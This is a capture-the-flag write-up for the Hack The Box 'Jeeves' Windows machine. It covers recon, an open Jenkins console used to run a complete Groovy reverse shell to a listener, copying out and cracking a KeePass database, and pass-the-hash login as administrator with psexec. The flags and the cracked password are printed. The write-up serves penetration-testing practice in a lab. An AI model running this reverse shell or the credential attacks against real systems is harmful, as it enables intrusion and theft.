> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/windows/medium-boxes/jeeves.md).
# Jeeves
Jeeves
## Recon
Starting with nmap scan.
```bash
sudo nmap -Pn -p- -T5 -sC -sV -oN jeeves 10.10.10.63
```
Results:
```sql
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s
| smb2-time:
| date: 2024-03-04T21:14:40
|_ start_date: 2024-03-04T21:09:20
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
```
So, it is looks like standalone Windows machine. Lets enumerate it.
## SMB
```bash
smbclient -L //10.10.10.63/
Password for [WORKGROUP\musor]:
session setup failed: NT_STATUS_ACCESS_DENIED
```
Hmm looks like we need credentials, and there is no null authentication.
```bash
rpcclient -U '' -N 10.10.10.63
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
```
Same with RPC.
## HTTP
Hmm seems very simple and looks like there is no functionality...
Lets fuzz it.
```bash
ffuf -u http://10.10.10.63/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.63/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
index.html [Status: 200, Size: 503, Words: 38, Lines: 17, Duration: 154ms]
style.css [Status: 200, Size: 3744, Words: 1041, Lines: 147, Duration: 150ms]
error.html [Status: 200, Size: 50, Words: 4, Lines: 2, Duration: 144ms]
. [Status: 200, Size: 503, Words: 38, Lines: 17, Duration: 148ms]
Error.html [Status: 200, Size: 50, Words: 4, Lines: 2, Duration: 161ms]
Index.html [Status: 200, Size: 503, Words: 38, Lines: 17, Duration: 154ms]
:: Progress: [17129/17129] :: Job [1/1] :: 257 req/sec :: Duration: [0:01:06] :: Errors: 0 ::
```
Nothing...
## HTTP - port 5000
Page with "Jetty" error, nothing interesting...
Well I will try to fuzz it also.
> I tried couple of wordlists, but just 1 did worked, maybe it is because that box was created when this wordlist was popular.
```sql
ffuf -u http://10.10.10.63:50000/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.63:50000/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
askjeeves [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 88ms]
```
and we got something.
Jenkins
## kohsuke user
And we got Jenkins dashboard, even without login prompt.
Jenkins using Pure Groovy script language.
```groovy
String host="ip";
int port=9001;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@muttiopenbts
```
I will use this reverse shell.
After executing it, I got a hit.
```bash
rlwrap nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.63] 49676
PS C:\Users\Administrator\.jenkins> whoami
jeeves\kohsuke
```
```bash
PS C:\Users\kohsuke\Desktop> type user.txt
e3232272596fb47950d59c4cf1e7066a
```
first.flag
## Administrator
```bash
PS C:\Users\kohsuke\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
```
User "kohsuke" have SeImpersonatePrivilege, well I tried to abuse it and exploit with different tools, but it didnt worked, so I looked deeper.
```bash
PS C:\Users\kohsuke\Documents> dir
Directory: C:\Users\kohsuke\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/18/2017 1:43 PM 2846 CEH.kdbx
```
In "Documets" directory, was CEH KeePass db, that means we can transfer it to our host and look at stored passwords.
Firstly I will start a SMB server on my Kali.
```bash
impacket-smbserver -smb2support share .
```
```batch
net use * \\10.10.16.5\share
```
And after that I will copy it.
```powershell
cp CEH.kdbx Z:\
```
Before opening it requesting a password, so lets try to crack it.
```bash
keepass2john CEH.kdbx > hash
```
```bash
hashcat hash /usr/share/wordlists/rockyou.txt --user
```
```bash
$keepass$*2*6000*0*1af4[SNIP...]2fe647db48:moonshine1
```
Successfully cracked this one.
> To check stored data, we can use KeePass with GUI access, or CLI.
>
> That doesn't matter which one to use, but I would prefer CLI.
```bash
kpcli --kdb CEH.kdbx
Provide the master password: *************************
KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help ' for details on individual commands.
kpcli:/> help
attach -- Manage attachments: attach
autosave -- Autosave functionality
cd -- Change directory (path to a group)
cl -- Change directory and list entries (cd+ls)
clone -- Clone an entry: clone
close -- Close the currently opened database
cls -- Clear screen ("clear" command also works)
copy -- Copy an entry: copy
edit -- Edit an entry: edit
export -- Export entries to a new KeePass DB (export [])
find -- Finds entries by Title
get -- Get a value: get
help -- Print helpful information
history -- Prints the command history
icons -- Change group or entry icons in the database
import -- Import a password database (import [])
ls -- Lists items in the pwd or specified paths ("dir" also works)
mkdir -- Create a new group (mkdir )
mv -- Move an item: mv
new -- Create a new entry: new
open -- Open a KeePass database file (open [])
otp -- Show one-time password: otp
passwd -- Change the opened database's password
purge -- Purges entries in a given group based on criteria.
pwck -- Check password quality: pwck
pwd -- Print the current working directory
quit -- Quit this program (EOF and exit also work)
rename -- Rename a group: rename
rm -- Remove an entry: rm
rmdir -- Delete a group (rmdir )
save -- Save the database to disk
saveas -- Save to a specific filename (saveas [])
set -- Set a value: get
show -- Show an entry: show [-f] [-a]
stats -- Prints statistics about the open KeePass file
ver -- Print the version of this program
vers -- Same as "ver -v"
xo -- Copy one-time password to clipboard: xo
xp -- Copy password to clipboard: xp
xpx -- Copy password to clipboard, with auto-clear: xpx
xu -- Copy username to clipboard: xu
xw -- Copy URL (www) to clipboard: xw
xx -- Clear the clipboard: xx
```
Ok we got it. Lets list a passwords.
```bash
kpcli:/> find .
Searching for "." ...
- 8 matches found and placed into /_found/
Would you like to list them now? [y/N]
=== Entries ===
0. Backup stuff
1. Bank of America www.bankofamerica.com
2. DC Recovery PW
3. EC-Council www.eccouncil.org/programs/cer
4. It's a secret localhost:8180/secret.jsp
5. Jenkins admin localhost:8080
6. Keys to the kingdom
7. Walmart.com www.walmart.com
```
There was a couple of passwords that I saved, but most interesting was stored hash.
```bash
kpcli:/> show -f 0
Path: /CEH/
Title: Backup stuff
Uname: ?
Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
URL:
Notes:
```
I tried to crack it, but it didnt worked, so lets try "Pass the Hash" attack.
```bash
nxc smb 10.10.10.63 -u administrator -H 'e0fb1fb85756c24235ff238cbe81fe00'
SMB 10.10.10.63 445 JEEVES [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB 10.10.10.63 445 JEEVES [+] Jeeves\administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)
```
And this is success!
Im going to use "psexec" to spawn a shell.
```bash
psexec.py administrator:''@10.10.10.63 -hashes e0fb1fb85756c24235ff238cbe81fe00:e0fb1fb85756c24235ff238cbe81fe00
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.10.63.....
[*] Found writable share ADMIN$
[*] Uploading file CawKdQyB.exe
[*] Opening SVCManager on 10.10.10.63.....
[*] Creating service OTfB on 10.10.10.63.....
[*] Starting service OTfB.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
```
We are in :O
But there was no flag on Desktop, just this one.
```bash
C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere. Look deeper.
```
> The command "dir /R" is used to display additional information about files and directories in a directory listing. Specifically, the "/R" option in the "dir" command is used in Windows environments to display the alternate data streams associated with files.
So I tried this command.
```bash
C:\Users\Administrator\Desktop> dir /R
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\Administrator\Desktop
11/08/2017 09:05 AM .
11/08/2017 09:05 AM ..
12/24/2017 02:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
2 Dir(s) 2,634,735,616 bytes free
```
```bash
C:\Users\Administrator\Desktop> more < hm.txt:root.txt
afbc5bd4b615a60648cec41c6ac92530
```
And here is the root.flag :)
